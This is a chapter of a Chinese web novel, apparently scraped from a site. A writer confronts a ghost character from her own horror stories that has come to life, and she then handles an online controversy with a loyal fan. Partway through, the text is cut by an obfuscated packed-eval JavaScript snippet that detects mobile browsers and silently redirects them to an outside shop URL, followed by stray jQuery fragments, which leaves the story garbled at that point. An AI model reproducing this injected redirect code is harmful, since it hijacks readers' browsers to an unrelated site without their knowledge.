安心。
安命对这个名字并不陌生,这是她的主角。
但这个名字措不及防被念出来,还是让她略微发愣。
安命缓慢地转过身体,才看到了站在自己身后的人。
是一个茶褐色头发的女孩,有着漂亮的同色眼睛,在幽暗的雨里浑浊的亮光里头,冲安命扬着微笑。
“签名、可以吗?女孩笑吟吟问道。
活泼,阳光,是和游戏里萎靡脆弱的安心完全不同的人。
莫名其妙的,安命松了一口气。
安命递出了手,示意她拿出需要签字的东西。
等女孩把光脑递过来,安命却没接。她盯了女孩两刻突兀道:“比起写安心,直接告诉我你本人的名字,这样会不会更好一点?
“您在说什么?我就叫安心啊。
女孩反问,“这不是您起的名字吗?
安命抬眼。在幽暗的雨里头,她就像是待在溢满霉斑的蓝墨水中,说出这种话,像恐怖故事的前奏。
联想到这个女孩在网上录制的视频,安命近乎以为这是什么针对她的恶作剧。
“我还是想给更想给诚实的人签名。
安命说话时,一直在观察着女孩的反应。
这个人长的,并不符合怪谈中任何一个角色。
她身上也没有任何奇怪的气息,没有腐臭与血气。
而且,如果是尸体,恐怕也没有办法越过异能协会,走到她的面前。
女孩眨着眼睛看着她:“您觉得我不是安心吗?可是,如果我不是安心,那么我怎么会知道地下室的地点?
“任何荒星,认识我的、看过怪谈的人都能知道。安命道。
“那您不好奇吗?我是怎么找到您的?
安命听到这句话,表情微微紧绷:“协会有监控。
“诶。
出于那场鬼屋是直播,安命并不介意说更多:“你会为了我不相信你而苦恼吗?
“我不相信你是理所当然的。
毕竟,人总是更倾向于做出变化。
你直接告诉我这么不切实际的事情,我当然不会相信。
如果你通过蛛丝马迹让我自己发现,这种参与思考的过程,说不定会让我相信。
安命的声音空空地落下来。
女孩却不再解释了,她仿佛意识到什么一般,不但没有气恼,反而就像是发现了什么新奇的事情一般说:“你语速加快了。
“你生气了吗
?”
女孩说:“你已经相信了。”
“……”
安命并不蠢,她能轻易把一切有关联的事情联系到一切,从每次怪谈结束后仿佛透支的生命,到荒星正好和怪谈吻合的状态。
只是她没想到,答案居然是这个。
安命的话戛然而止,她静静注视着女孩,原本一瞬间流露的情绪重新被敛去。
她轻轻呼出一口气:“嗯,我确实有点生气了。不过,你并不是安心。”
略微停顿片刻,安命看着面前的人,道:“你是那个替死鬼。”
最后活下来的到底是安心还是替死鬼,原来安命其实并没有深想过这个结局。
就像是小说的开放式结尾,它的结尾只存在在观众的思维之中。
但现在,安命一听到这种笃定的语气就明白了,活下来的绝对不是安心。
她了解自己手下的故事,自然同等地了解安心,怯弱的,甚至有点讨好型人格的,柔弱的安心。
如果是安心,碰到自己,绝对不会用这种语气说话。
面前的女孩笑容缓慢的落下,可能是雨的晃动带来灯光的晃动,她茶褐的眼睛也发暗,黑洞洞的。
“嗯,是我,被你发现了呢。”
安命没有在乎她变化的神色,这件事过于有冲击力,必须快速地把信息整合。
她到现在只写过两个怪谈,规则怪谈的鬼怪靠着安静的规则维持,安静又是人类,不是什么大问题、至于背靠背……不对,还有一个。
她在前往协会飞船上,讲的怪谈。
飞船、钟洁、总台、血线……
安命想起她前去探查时候,发现的血线。
怪不得它是那种反应。
“……原来是它啊。”安命恍然大悟。
替死鬼歪了歪脑袋,不明白安命忽然呢喃出的话。
安命也明白了为什么每次怪谈结束后越演越烈的透支感,估计就是因为怪谈。
……她曾经听说,有类似物质创造的异能,但她不清楚,怪谈属不属于这种范畴。想要搞明白一定需要揣摩与研究。
但在那之前,安命无比清楚一个事实。
如果被别人发现鬼的存在,她创造怪谈的事实被广而告之,那么她千辛万苦谋划到现在的一切都是一团泡影。
她好不容易迈向的成功,就要在今天止步。
尤其是、她才商定了全息游戏的方案。
怪谈成真,这对安命来说绝对不是一个好消息。
不悦、烦躁、安命并不喜欢这种无法掌控的感觉。甚至更深一点她在不安。
“你是什么时候存在的我在脑子里头打下草稿?还是落笔在网上?还是结局?”安命竭力控制这种烦躁询问道。
“嗯、我也不太确定。”替死鬼思考片刻明白了安命问问题的原因:“你已经写好了下一个怪谈的草稿吗?”
“这次是什么样的故事?我们想要变得吓人那过去凄惨一点会比较好吧?”
替死鬼询问:“您觉得什么样的过去比较好?剥皮?活埋?分尸?窒息?贯穿伤?嗯……局限□□的苦痛对于怪谈来说会不会不够有深度精神上的痛苦又该怎么设置才能更惨一点?”
安命攥了攥手心。
她听着替死鬼的话不断的反问和程度的加大……就像是、在责怪她一样。
存在故事中的角色跳出来这件事情其实没什么。
但是她这种抱怨一般的话没有被牵引被设定就像是真的有了自己的性格一般然后对着安命说——她其实在怪她。
“对我最近已经确定了下一个怪谈的制作方案在确定制作之前我已经打了草稿。”安命用冷静地口吻道。
“事关重大我不可能就此放弃、取消、止步。”
“就算怪谈遍布全国、你也不准备放弃吗?万一被人发现呢?”替死鬼一愣。
安命紧绷着脸:“你猜我会怎么做?哪怕创造了怪谈想办法杀掉我都不可能为此止步。”
她熟悉自己笔下怪谈的思维。
安命快速制定出了计划。她会利用血线杀掉替死鬼再进一步杀掉借此衍生过来的所有怪谈。
那么那个时候怎么解决血线呢?
安命想到了自己的第一个主角安静。安静她应该能杀掉血线。更重要的是安静是个人类。也就是说在一切尘埃落定
安命自己完全有能力杀掉安静。
她完全可以在解决完所有怪谈后亲手杀掉安静。
“你还真是……”替死鬼瞳尖骤然一缩。
……简直就像是、命中注定的反目成仇。
“你来这里是希望我对你的过去感到愧疚吗?”安命冷淡地说:“但是我不欠你什么我也没道理因为你感到愧疚。”
替死鬼没想到安命会这么说长久的努力不留余地被否定就像一把刀毫无预警地捅入心脏没有拔出的余地每一次心脏鼓动都在切割渗血。
她没有向安命询问,为什么要把她的背景设置的那么惨痛,直接选择转身离开,再待下去,场面一定会很难看。
然后,她听到了身后传来的声音。
“另外,你长相和安心并不一样,你是用别人的身体来这里的吗?”
“所以安心死了。”
“这真是……”
她连听最后评价的力气都没有,直接快步离开。
安命也没说出最后的话。
不欢而散。
替死鬼走了,这里只剩下安命一个人。
安命站在原地没动,连伞都没撑,雨就一点一点打在她身上。
系统也噤若寒蝉,它模模糊糊察觉到,安命其实在生气。
良久,安命才发现,替死鬼转身走的时候,并没有拿走自己的光脑。
安命微微垂下眼睛。
她打开了替死鬼留下的光脑,替死鬼没有设密码,简直就像是刻意给安命留的。
上头布置很简洁,看着简直像个普通人。
常用的是购票软件。
“她,是买船票过来的啊。”安命联想起了前段时间替死鬼的直播:“靠着网上的收入购买船票,离开荒星。”
“……跟我一样。”
安命陷入了短暂的回忆。
替死鬼这个角色,安命在设定她的时候没有给她起名,她没有生命,没有未来,也不需要复杂的性格,她从来没有站在故事的中心过。
这个角色,是为了拯救存在。
在游戏不断循环的周目中,替死鬼的目的一直都是让安心活下来。
里头所有的鬼都有着痛苦的死法,替死鬼也一样,但故事中,她是唯一一个没有怨怼的怪谈。
【和你一样,是指同样靠着直播收入离开荒星吗?还是其它的、剧情吗?】系统恍然发现了什么:【这不就是——】
这就是、安命自己吗?
系统意识到,安命手下的怪谈,都对应着安命的记忆或者人生。
规则怪谈里头,对应的是原主在学校的记忆。背靠背,对应的则是安命自己的经历。
替死鬼在安心的身体里头,接替着安心的生命以及悲剧。
安命来这个世界,在原主的身体里头,接替原主的命运,只是为了救赎原女主的悲剧。
替死鬼,是故事中,安命自己的对照组。
光脑的光亮在她眼里跳跃着,安命忽然发现,替死鬼最常用的是文档,她逐字逐句阅读着上面的文字。
“她跟
我不一样。
文档上头记录着,关于荒星的大雾以及荒星的易变。
——在我们有意识之后,我们想要离开地下室。
——但是,我们是鬼,我们中,只有我能寄宿在活人身上。能够自由离开的只有我一个。
我和误入的一个活人女孩达成了交易,她把她的身体给我,我帮她复仇。
但等我完成这一切,我才发现,地下室的她们不知道用什么手段召唤了雾气,在雾气笼罩没有阳光的地方,她们可以自由活动。
——我也不太了解她们、还有那团碎尸……估计、会死很多人。
——我需要让她知道这个消息,我们中只有我有能力把消息带出去,而且,她也应该知道这一切。
安命沉默不语看着,轻轻叹出口气。
替死鬼来这里,不是为了责怪安命
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744915|145226||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,也不是为了报复、或者引起安命愧疚……
“原来、她过来是为了告诉我真相,为了告诉我地下室以及荒星的现状。
只不过,刚刚,她们的情绪都太激动。她没克制抱怨她没控制情绪。
【你压力也挺大的、何况这种事情确实太突然了。】系统也不知道说什么合适,它也有点难以判断安命需不需要安慰。
在交谈间,安命自己的光脑先震动了。
是悲伤土豆条。
[好像、有点不受控制了。]
安命一愣,立刻切出去。
她还以为又被造谣反扑,但其实不是。
恐怖袭击爆出来之后,怪谈bking作为受害者,是毋庸置疑的事实。
之后,安命没有对着后续进行谋划,在得到想要的之后,继续计划也没有意义。
但即使没有怪谈bking的主观意愿,偏激依然成了星网的主角,怪谈bking成了政治斗争的受害者。
舆论倒向她这一侧,却不断朝着别人口诛笔伐中,对着协会四区甚至其它无关联的人进行扩散的争吵与谩骂。
但是这一次,网上的舆论没有任何的操控,没有任何人的谋划,也没有任何势力的组织,没有煽风点火,没有推波助澜,甚至安命自己都不是背后的推手。
这只是诚实体现着大家的看法。
“如果不是老会长现在已经走了,她看到这一切,一定会觉得我就像是条疯狗一样乱咬人。安命低低自嘲。
一个晚上的时间,甚至不过两个小时,这些舆论就无休止地扩张,不能轻易限制的舆论、就像是不能彻底控制
的人心。
[没关系吗?还是这也是计划的一环?]悲伤土豆条问。
【能控制好大概没事,但估计控制不好。】
【你最好早点退出,我没什么事,毕竟我本身就在台前,但是万一牵扯到你,你会很难应付。】
安命这次是真准备止步。
她从悲伤土豆条说出的话中,大概能了解她这个人。
网络可能就是悲伤土豆条最能展示自己的地方,她一向对怪谈bking很热切,也可能是怪谈bking的名字下,她能感受到荣誉。
【最好、不要对微弱的权力有所流连。】
安命这话说的不隐晦,但也不直白。
不过,悲伤土豆条和其它人还是有点区别。
具体地就是,她显然在漫长的揣摩中,比其它人更加理解怪谈bking。
顷刻间,她就理解了安命消息中,隐藏的意图。
——对她的意图。
[您是这么看我的吗?]
她良久没有回复。
安命也沉默不语掂量着她的心情、是觉得被辜负的悲伤难过,还是被说中的愤怒彷徨?
良久,对方回答了一句。
[可是、您不需要为了我考虑什么啊。您不需要向我解释,也不需要为我考虑。]
[我的意思是、不管您做什么决定,我都会站在您这里。]
[如果不行的话,您就说是一切是我的错好了。]
系统有点咂舌,悲伤土豆条居然对安命的做法毫无意见。
不过,能坦率地接受安命的指示,悲伤土豆条估计也不是什么好人,系统心安理得接受这个事实。
毕竟,她都研究怪谈bking了,她能是什么好人。
安命只是静静看着这条消息。
【其实把土豆条推出去放在舆论下,你就可以撇清自己了,例如说,一切都是她的主意之类的。】系统低低说。
“咦,你想的还真是可怕。”安命一愣,回过神。
【什么呀!我还以为你会这么做的。】系统激烈反驳。
顿了顿,系统看见安命有心情跟它开玩笑,心情也松弛下来,小声问:【所以、这次不会吗?】
“嗯。”
系统看见安命已经回复了悲伤土豆条。
这次她的回复是:【没关系,不是什么问题,我会解决一切。】
这次安命没有考虑一切隐藏的动机,她说:“因为她一直为了我在努力,所以我也不想让她失望。”
“不过,在此之前,我需要解决一下其它问题。”安命关掉了光脑,看向远方。
“既然已经决定要去荒星,那么一定要带上替死鬼和血线。况且……”安命说:“我刚刚还没问出她的名字。”
【她的名字?】系统一愣:【啊,替死鬼并不是她的名字吗?】
“走吧,去祁愿那边。易传、血线应该都在那边。”
【那——】系统恍然意识到什么一样,语气顿时雀跃了起来。
就像是它想的一样,安命轻声道。
“希望祁愿还活着。”
作者有话要说
我看有宝宝猜对啦
总之是个挺温暖的故事,如果是感情流安命和怪谈大概是双向救赎(?)
感谢在2024-04-0322:20:45~2024-04-0502:45:56期间为我投出霸王票或灌溉营养液的小天使哦~
感谢投出地雷的小天使:滚去学习1个;
感谢灌溉营养液的小天使:曲风小学生70瓶;好好搞事业别玩男人丢18瓶;愿你如星辰般璀璨夺目、白棘10瓶;小栈7瓶;墨梨5瓶;衍焄1瓶;
非常感谢大家对我的支持,我会继续努力的!